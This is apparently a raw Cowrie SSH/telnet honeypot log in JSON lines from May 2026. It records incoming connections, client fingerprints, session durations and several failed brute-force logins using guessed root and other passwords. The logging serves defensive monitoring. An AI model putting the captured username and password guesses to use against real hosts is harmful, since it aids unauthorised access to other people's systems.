{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:21.788002Z","src_ip":"94.159.109.207","session":"e9856c040051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sniper","message":"login attempt [root/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:22.135828Z","src_ip":"94.159.109.207","session":"e9856c040051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":52866,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8a2bd6e2c5b","protocol":"ssh","message":"New connection: 103.77.242.62:52866 (159.203.135.109:22) [session: b8a2bd6e2c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:22.319198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:22.324843Z","src_ip":"103.77.242.62","session":"b8a2bd6e2c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:22.561110Z","src_ip":"103.77.242.62","session":"b8a2bd6e2c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:23.248385Z","src_ip":"94.159.109.207","session":"e9856c040051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19731973","message":"login attempt [root/19731973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:23.267326Z","src_ip":"103.77.242.62","session":"b8a2bd6e2c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.056724548339844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:23.996669Z","src_ip":"192.119.13.58","session":"56c5f4eb8a5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:24.506418Z","src_ip":"103.77.242.62","session":"b8a2bd6e2c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.95057821273804,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:26.410569Z","src_ip":"192.119.13.58","session":"f305da19e3d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43188,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c1673fa1bdf","protocol":"telnet","message":"New connection: 192.119.13.58:43188 (10.17.0.5:23) [session: 5c1673fa1bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:29.207768Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50184,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb45fca317d3","protocol":"telnet","message":"New connection: 192.119.13.58:50184 (10.17.0.5:23) [session: eb45fca317d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:30.323985Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12ba47aa3f5","protocol":"telnet","message":"New connection: 192.119.13.58:50472 (10.17.0.5:23) [session: c12ba47aa3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:30.415312Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52700,"dst_ip":"10.17.0.5","dst_port":23,"session":"e571552f2837","protocol":"telnet","message":"New connection: 192.119.13.58:52700 (10.17.0.5:23) [session: e571552f2837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:31.169047Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"de4e74063462","protocol":"telnet","message":"New connection: 192.119.13.58:32932 (10.17.0.5:23) [session: de4e74063462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:33.369855Z"}
{"eventid":"cowrie.session.closed","duration":30.484863996505737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:37.290862Z","src_ip":"192.119.13.58","session":"0758ac5bf802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38838,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb57b6b4bfe","protocol":"ssh","message":"New connection: 193.32.162.145:38838 (10.17.0.5:22) [session: 0fb57b6b4bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:38.629437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:38.634485Z","src_ip":"193.32.162.145","session":"0fb57b6b4bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:38.740209Z","src_ip":"193.32.162.145","session":"0fb57b6b4bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:39.059564Z","src_ip":"193.32.162.145","session":"0fb57b6b4bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.361361265182495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:39.177670Z","src_ip":"192.119.13.58","session":"8cb6f2792e32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:40.169924Z","src_ip":"193.32.162.145","session":"0fb57b6b4bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40336,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1417f9dea17","protocol":"telnet","message":"New connection: 192.119.13.58:40336 (10.17.0.5:23) [session: a1417f9dea17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:40.478432Z"}
{"eventid":"cowrie.session.closed","duration":35.01482009887695,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:40.694971Z","src_ip":"192.119.13.58","session":"c2987984b1aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49862,"dst_ip":"10.17.0.5","dst_port":22,"session":"5290c35f46ec","protocol":"ssh","message":"New connection: 194.113.233.25:49862 (10.17.0.5:22) [session: 5290c35f46ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:43.565999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:43.570887Z","src_ip":"194.113.233.25","session":"5290c35f46ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:43.663989Z","src_ip":"194.113.233.25","session":"5290c35f46ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k.","message":"login attempt [root/k.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:43.946835Z","src_ip":"194.113.233.25","session":"5290c35f46ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34904,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b82fb85cfb8","protocol":"telnet","message":"New connection: 192.119.13.58:34904 (10.17.0.5:23) [session: 2b82fb85cfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:44.901070Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:45.042469Z","src_ip":"194.113.233.25","session":"5290c35f46ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.52517628669739,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:45.919720Z","src_ip":"192.119.13.58","session":"2ec40a782832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42738,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f10ef06afcf","protocol":"telnet","message":"New connection: 192.119.13.58:42738 (10.17.0.5:23) [session: 4f10ef06afcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:47.661345Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43044,"dst_ip":"10.17.0.5","dst_port":23,"session":"d422501001bc","protocol":"telnet","message":"New connection: 192.119.13.58:43044 (10.17.0.5:23) [session: d422501001bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:47.729861Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9547a8dea25","protocol":"ssh","message":"New connection: 103.172.78.219:36634 (10.17.0.5:22) [session: c9547a8dea25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:52.117538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:52.122068Z","src_ip":"103.172.78.219","session":"c9547a8dea25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:52.368739Z","src_ip":"103.172.78.219","session":"c9547a8dea25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59900,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec55592c15ec","protocol":"telnet","message":"New connection: 192.119.13.58:59900 (10.17.0.5:23) [session: ec55592c15ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:52.521723Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345zxcvb","message":"login attempt [root/12345zxcvb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:53.107632Z","src_ip":"103.172.78.219","session":"c9547a8dea25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:44:54.358144Z","src_ip":"103.172.78.219","session":"c9547a8dea25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59076,"dst_ip":"10.17.0.5","dst_port":23,"session":"97fd4c63b511","protocol":"telnet","message":"New connection: 192.119.13.58:59076 (10.17.0.5:23) [session: 97fd4c63b511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:00.052287Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59078,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c4ebfaf935b","protocol":"telnet","message":"New connection: 192.119.13.58:59078 (10.17.0.5:23) [session: 4c4ebfaf935b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:00.059698Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38234,"dst_ip":"10.17.0.5","dst_port":23,"session":"3129c25c65ec","protocol":"telnet","message":"New connection: 192.119.13.58:38234 (10.17.0.5:23) [session: 3129c25c65ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:02.295616Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38420,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aa136e915a0","protocol":"telnet","message":"New connection: 192.119.13.58:38420 (10.17.0.5:23) [session: 4aa136e915a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:02.357175Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38056,"dst_ip":"10.17.0.5","dst_port":23,"session":"a236dbb88485","protocol":"telnet","message":"New connection: 192.119.13.58:38056 (10.17.0.5:23) [session: a236dbb88485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:03.282812Z"}
{"eventid":"cowrie.session.closed","duration":34.32314872741699,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:05.492079Z","src_ip":"192.119.13.58","session":"e571552f2837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4030237197876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:06.726897Z","src_ip":"192.119.13.58","session":"eb45fca317d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52494502067566,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:06.732574Z","src_ip":"192.119.13.58","session":"5c1673fa1bdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59746,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e15c5ceedd","protocol":"telnet","message":"New connection: 192.119.13.58:59746 (10.17.0.5:23) [session: 42e15c5ceedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:08.562635Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33634,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ea6a56b4032","protocol":"telnet","message":"New connection: 192.119.13.58:33634 (10.17.0.5:23) [session: 2ea6a56b4032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:09.216019Z"}
{"eventid":"cowrie.session.closed","duration":35.42065787315369,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:15.898925Z","src_ip":"192.119.13.58","session":"a1417f9dea17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81705594062805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:16.717994Z","src_ip":"192.119.13.58","session":"2b82fb85cfb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.36520838737488,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:16.734998Z","src_ip":"192.119.13.58","session":"de4e74063462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42158,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e852275d1c4","protocol":"telnet","message":"New connection: 192.119.13.58:42158 (10.17.0.5:23) [session: 3e852275d1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:17.295192Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45752,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff99d97adf8f","protocol":"telnet","message":"New connection: 192.119.13.58:45752 (10.17.0.5:23) [session: ff99d97adf8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:17.898950Z"}
{"eventid":"cowrie.session.closed","duration":48.45371198654175,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:18.868892Z","src_ip":"192.119.13.58","session":"c12ba47aa3f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844027280807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:23.365616Z","src_ip":"192.119.13.58","session":"ec55592c15ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.79303026199341,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:25.522764Z","src_ip":"192.119.13.58","session":"d422501001bc","protocol":"telnet"}
